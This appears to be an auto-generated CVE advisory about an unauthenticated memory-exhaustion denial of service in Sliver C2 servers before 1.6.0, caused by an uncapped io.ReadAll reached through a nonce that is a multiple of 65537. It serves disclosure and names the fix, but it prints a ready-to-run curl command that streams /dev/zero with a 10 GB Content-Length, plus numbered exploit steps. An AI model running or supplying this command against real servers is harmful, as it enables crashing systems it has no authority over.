Listen to this Post
This vulnerability exploits the nonce-based encoder selection logic in the Sliver C2 server. When an unauthenticated HTTP request contains a query parameter `q` (the nonce) that is a multiple of 65537, the `EncoderFromNonce()` function returns a NoEncoder. This passthrough encoder causes the request to be routed via `anonymousHandler()` to the `startSessionHandler()` function. Unlike the authenticated request path, which uses a size-limited reader, `startSessionHandler()` uses `io.ReadAll(req.Body)` to read the entire HTTP request body into memory without any cap. An attacker can send a request advertising a massive `Content-Length` and slowly stream data. The server will attempt to allocate memory for the entire advertised body size, leading to exhaustion of available RAM and ultimately a crash of the Sliver server process, causing a denial of service.
DailyCVE Form:
Platform: Sliver C2
Version: pre-1.6.0
Vulnerability: Unauthenticated Memory Exhaustion
Severity: Critical
Date: 2024-12-12
Prediction: 2024-12-12
What Undercode Say:
Analytics:
curl -X POST "http://<target>/<path>?q=65537" -H "Content-Length: 10737418240" --data-binary @/dev/zero --limit-rate 1M
// server/encoders/encoders.go lines 254-264
func EncoderFromNonce(nonce int) encoders.Encoder {
if nonce%65537 == 0 {
return &NoEncoder{}
}
// ... other encoders
}
// server/c2/http.go lines 551-562
func (h SliverHTTPHandler) anonymousHandler(encoder encoders.Encoder, w http.ResponseWriter, r http.Request) {
// ...
startSessionHandler(encoder, w, r)
}
// server/c2/http.go lines 564-643
func startSessionHandler(encoder encoders.Encoder, w http.ResponseWriter, r http.Request) {
body, err := io.ReadAll(r.Body) // VULNERABLE: No size limit
// ...
}
How Exploit:
1. Identify Sliver HTTP C2 endpoint.
2. Craft POST request with `?q=65537` (or multiple).
3. Set enormous `Content-Length` header.
4. Slowly stream request body.
5. Server allocates memory until crash.
Protection from this CVE:
Update to version 1.6.0+.
Impact:
Remote server crash.
Denial of Service.
Session loss.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
